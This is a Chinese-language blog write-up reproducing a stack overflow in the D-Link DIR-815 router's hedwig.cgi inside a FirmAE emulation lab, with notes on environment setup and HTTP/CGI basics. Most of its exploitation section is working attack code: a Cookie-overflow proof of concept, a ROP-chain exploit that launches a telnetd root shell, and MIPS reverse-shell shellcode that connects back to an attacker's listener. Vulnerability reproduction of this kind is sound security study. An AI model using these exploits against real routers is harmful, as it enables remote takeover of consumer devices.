概述 个人感觉麻烦的点在于环境的搭建(又回到最初一瓶农夫山泉搁那配一天环境的日子,一个点没注意就出问题,甚至桌上的农夫山泉都换成了怡宝),本文着重记录下自己踩得坑,对于漏洞的详细分析可以看看参考文章.然后关于IOT通信还涉及到http协议和cgi,我也以我的理解简单介绍下
还介绍了纯rop链和shellcode两种漏洞利用方法,提到shellcode来getshell时出现的一些问题
环境配置 我所使用的是firmAE 来进行的固件模拟
推荐使用ubuntu20.04虚拟机进行环境搭建(因为firmAE项目测试是使用的该版本,我自己也是使用的该版本来搭建的环境)
使用wsl搭建环境要访问模拟出来的网页可能会较为麻烦
工具介绍:
binwalk :用于提取固件
1 binwalk -Me target_file.bin
这个工具依赖于sasquatch 工具
你可能会遇到
1 2 3 4 5 6 7 8 9 10 11 Hunk #1 succeeded at 32 with fuzz 1. cc -g -O2 -I. -I./LZMA/lzma465/C -I./LZMA/lzmalt -I./LZMA/lzmadaptive/C/7zip/Compress/LZMA_Lib -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -D_GNU_SOURCE -DCOMP_DEFAULT=\"gzip\" -Wall -Werror -DGZIP_SUPPORT -DLZMA_SUPPORT -DXZ_SUPPORT -DLZO_SUPPORT -DXATTR_SUPPORT -DXATTR_DEFAULT -c -o unsquashfs.o unsquashfs.c unsquashfs.c: In function ‘read_super’: unsquashfs.c:1835:5: error: this ‘if’ clause does not guard... [-Werror=misleading-indentation] 1835 | if(swap) | ^~ unsquashfs.c:1841:9: note: ...this statement, but the latter is misleadingly indented as if it were guarded by the ‘if’ 1841 | read_fs_bytes(fd, SQUASHFS_START, sizeof(struct squashfs_super_block), | ^~~~~~~~~~~~~ cc1: all warnings being treated as errors make: *** [<builtin>: unsquashfs.o] Error 1
这个报错原因是在unsquashfs.c
文件在编译时其内容中的一些行出现空格和制表符混用
解决方法
如果更改后运行build.sh
是有关LZMA
的爆红,修改./squashfs4.3/squashfs-tools/
目录中Makefile
的XZ_SUPPORT = 1
如果仍然关于LZMA
爆红,先通过xz --version
检查其是否存在
也可能是共享文件夹权限问题,试试cp到虚拟机的目录中
(其实很多问题都可以在issue 中找到答案,一定要记得翻issue 啊)
firmAE
其底层是基于qemu 的
其项目的README.md
介绍的很详细,就不再赘述了
http协议和cgi协议 http HTTP协议是一种用于传输超文本的协议,它由请求和响应组成。让我们来看一下HTTP请求的各个部分,分别是请求行、消息报头、请求正文。IoT安全当中传输信息,大多数需要HTTP协议来进行。
一个完整的http请求包含请求行 ,消息报头 ,请求正文
http请求的第一行是请求行,由请求方法、请求的资源路径(Request-URI)和HTTP协议的版本组成
1 Method Request-URI HTTP-Version CRLF
例如:
1 POST /registez.aspx HTTP/1.1 (CRLE)
紧跟着的是消息报头
其包含了一系列的键值对,每个键值对由名字、冒号、空格和值组成。它们用于传递关于请求的额外信息
例如:
1 2 3 4 5 6 7 8 GET /index.html HTTP/1.1 (CRLF) Accept:image/gif, image/x-xbitmap,*/* (CRLF) Accept-Language:zh-cn (CRLF) Accept-Encoding:gzip, deflate (CRLF) User-Rgent:Mozilla/4.0(compatible;MSIE6.0;Windows NT 5.0) (CRLF) Host:www.baidu.com (CRLF) Connection:Keep-Alive (CRLF) (CRLF)
最后是请求正文
它包含了请求的主体内容。它位于消息报头和消息主体之间的一个空行。请求正文可以包含各种数据,例如表单数据、JSON、XML等等。
例如:
1 Usernarme=admin&password=admin
我们在具体使用的时候,会使用python的相关库request
或者http.client
进行编程。
cgi CGI (Common Gateway Interface) 是 Web服务器与外部程序之间的标准化通信协议
CGI协议规定Web服务器通过环境变量传递HTTP请求的元数据(请求头、方法、路径等),并通过标准输入(stdin)传递HTTP请求正文数据。外部程序则通过标准输出(stdout)返回HTTP响应。
任何语言都可以用来写一个cgi脚本,一个典型的cgi脚本做了这些事
读取用户提交表单的信息。
处理这些信息(也就是实现业务)。
输出,返回html响应(返回处理完的数据)。
路由器是通过cgi脚本程序来处理web请求,这次介绍的漏洞也就出在cgi脚本程序处理输入的部分
漏洞简析 这里借用参考文章1中的固件下载链接
漏洞位于hedwigcgi_main
函数里
这里没有对string
的长度进行检查
sess_get_uid
函数
这里从消息报头中的Cookie
读取数据,然后还存在对uid
的比较,可以得出COOKIE的数据组织形式是uid=payload
漏洞利用
先启动固件模拟然后启动gdb-server
这里我把aslr
关了,因为真机也没开
然后就可以通过浏览器访问了
将下列指令写入一个文件中
1 2 3 4 5 6 7 set architecture mips set follow-fork-mode child set detach-on-fork off b *0x409480 # catch exec #这里去掉注释就能在对应的cgi文件停下 target remote 192.168.0.1:1337
然后通过
1 gdb-multiarch -x your_file
启动调试
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import http.clientconn = http.client.HTTPConnection("192.168.0.1" ) headers = { 'Content-Length' : '21' , 'accept-Encoding' : 'deflate' , 'Connection' : 'close' , 'User-Agent' : 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)' , 'Host' : '192.168.0.1' , 'Cookie' : 'uid=' +'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaal' , 'Content-Type' : 'application/x-www-form-urlencoded' } conn.request("POST" , "/hedwig.cgi" , body="password=123&bid=3Rd4" , headers=headers) response = conn.getresponse() print (response.status, response.read().decode())conn.close()
这里一大串字母是通过cyclic生成的,可以通过cyclic -l 0xdeadbeef(实际返回地址)来获得返回地址的偏移
这里我测出来的偏移是1043
EXP 纯ROP链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import http.clientfrom evilblade import *set ("./cgibin" )conn = http.client.HTTPConnection("192.168.0.1" ) nop = "\x26\x40\x08\x01" libc = 0x77f34000 gadget = 0x159cc +libc gadget2 = libc+0x158c8 print (p32(gadget))print (p32(gadget2))sys = libc + 0x531ff print (p32(sys))dx(sys) sys_ = '\xffq\xf8w' gad_sp = "\xcc\x99\xf4w" gad_to_s5 = "\xc8\x98\xf4w" payload = cyclic(973 +34 ).decode() payload += sys_ payload += "cccc" payload += gad_sp*7 payload += gad_to_s5 payload += "dddd" *4 payload += "telnetd -l /bin/sh -p 55557 & ls & " headers = { 'Content-Length' : '21' ,'accept-Encoding' : 'deflate' ,'Connection' : 'close' ,'User-Agent' : 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)' ,'Host' : '192.168.0.1' ,'Cookie' : 'uid=' +payload,'Content-Type' : 'application/x-www-form-urlencoded' } conn.request("POST" , "/hedwig.cgi" , body="password=123&uid=3Rd4" , headers=headers) response = conn.getresponse() print (response.status, response.read().decode())conn.close()
这里sys
应该是以\x00
结尾的,直接使用会被sprintf
函数给截断,为什么再exp里是以\xff
结尾的呢?这是sys
地址减一得到的,还记得上面说的流水线操作吗,在当jalr
指令执行时,下一条指令可能已经开始执行了
这里就利用了这个技巧jalr $t9 ; addiu $s0, $s0, 1
在执行jalr
时,后面的$s0自增指令也会执行
执行exp打通后退出gdb然后通过telnet
连上就行了
在路由器固件上的shell
也是精简版的shell
,叫做busybox
shellcode MIPS
汇编有个特性,就是无法开启nx保护,这使得我们直接往栈上写shellcode
来执行有了可行性
在线汇编转字节码
嵌入式设备后门与shellcode生成工具 :github项目地址
编写shellcode需要以下四步
socket(2,2,0)
这里需要绕过\x00
,所以汇编是这样
1 2 3 4 5 6 7 8 li $a0 , 0x222 addi $a0 ,-0x220 li $a1 , 0x222 addi $a1 ,-0x220 li $a2 , 0x222 addi $a2 ,-0x222 li $v0 , 0x1057 syscall 0x40404
将标准输入输出错误流重定向到sock对象
1 2 3 dup2(socket_obj,0) dup2(socket_obj,1) dup2(socket_obj,2)
int connect(int sockfd, const **struct** sockaddr *addr,socklen_t addrlen);
绑定攻击机器的地址
execve("/bin/sh",["/bin/sh","-i"],0)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import http.clientfrom evilblade import *set ("./cgibin" )conn = http.client.HTTPConnection("192.168.0.1" ) nop = "\x26\x40\x08\x01" libc = 0x77f34000 gadget = 0x159cc +libc gadget2 = libc+0x158c8 print (p32(gadget))print (p32(gadget2))sys = libc + 0x531ff print (p32(sys))dx(sys) sys_ = '\xffq\xf8w' gad_sp = "\xcc\x99\xf4w" gad_to_s5 = "\xc8\x98\xf4w" stg3_SC ="\x22\x02\x04\x24\xe0\xfd\x84\x20\x22\x02\x05\x24\xe0\xfd\xa5\x20\x22\x02\x06\x24\xde\xfd\xc6\x20\x57\x10\x02\x24\x0c\x01\x01\x01" stg3_SC += "\xe0\x01\xa2\xaf" stg3_SC += "\xe0\x01\xa4\x8f\x22\x02\x05\x24\xde\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x22\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01" stg3_SC += "\xe0\x01\xa4\x8f\x11\x01\x06\x24\xff\xfe\xc6\x20\x15\xbe\x0e\x3c\x03\x02\xce\x35\xff\xfd\xce\x21\xd4\x01\xae\xaf\x02\x03\x0f\x3c\xc1\xa9\xef\x35\xfd\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\xd8\x01\xaf\xaf\xd4\x01\xa5\x27\x4a\x10\x02\x24\x0c\x01\x01\x01" stg3_SC += "\x69\x6e\x0e\x3c\x2f\x62\xce\x35\x69\x01\x0f\x3c\x30\x74\xef\x35\xfe\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\x2c\x01\xae\xaf\x30\x01\xaf\xaf\x34\x01\xa0\xaf\x2c\x01\xa4\x27\x2d\x69\x0f\x24\x38\x01\xaf\xaf\x40\x01\xa4\xaf\x44\x01\xa0\xaf\x02\x01\x06\x24\xfe\xfe\xc6\x20\x40\x01\xa5\x27\xab\x0f\x02\x24\x0c\x01\x01\x01" print (stg3_SC.encode(),len (stg3_SC))payload = cyclic(973 +34 ).decode() + gad_to_s5 + "cccc" + gad_sp*8 + "dddd" *4 + stg3_SC headers = { 'Content-Length' : '21' ,'accept-Encoding' : 'deflate' ,'Connection' : 'close' , 'User-Agent' : 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)' , 'Host' : '192.168.0.1' , 'Cookie' : 'uid=' +payload, 'Content-Type' : 'application/x-www-form-urlencoded' } conn.request("POST" , "/hedwig.cgi" , body="password=123&uid=3Rd4" , headers=headers) pause() response = conn.getresponse() print (response.status, response.read().decode())conn.close()
这里可以看到拿到shell后立刻就被退出了
退出gdb后按照参考文章1中的nc方法也连不上去
推测原因可能和用户态的调试模式有关,但我内核模式一直模拟不成功,无法验证这种说法.就此作罢,之后再慢慢摸索吧
解决方法:
先用nc监听你要反弹shell的端口(这里是5566)
然后运行到execve处
这时gdb会停住,再看之前监听的端口已经连上了
然后随便发一句让指令再回来退出gdb,把python脚本的暂停取消就行了
这里确实没想到要提前监听端口,起初还以为是ip或者是端口出错了没连上
总结 IOT之路刚开始就充满荆棘啊,不过好在还是算入门了,后续准备学习一下mipsrop
工具的使用,http协议的消息报头啥的也不太会写,直接用qemu
来模拟固件环境感觉还是得学一下.
一堆新知识涌入脑海,后面再通过复现漏洞的方式慢慢消化吧
参考文章 踏入IOT安全世界:DIR-815路由器多次溢出漏洞分析复现(通过firmAE搭建环境)
D-link DIR-815路由器多次溢出漏洞分析(通过更底层的qemu搭建环境)
从零开始复现 DIR-815 栈溢出漏洞
十分钟搞懂什么是cgi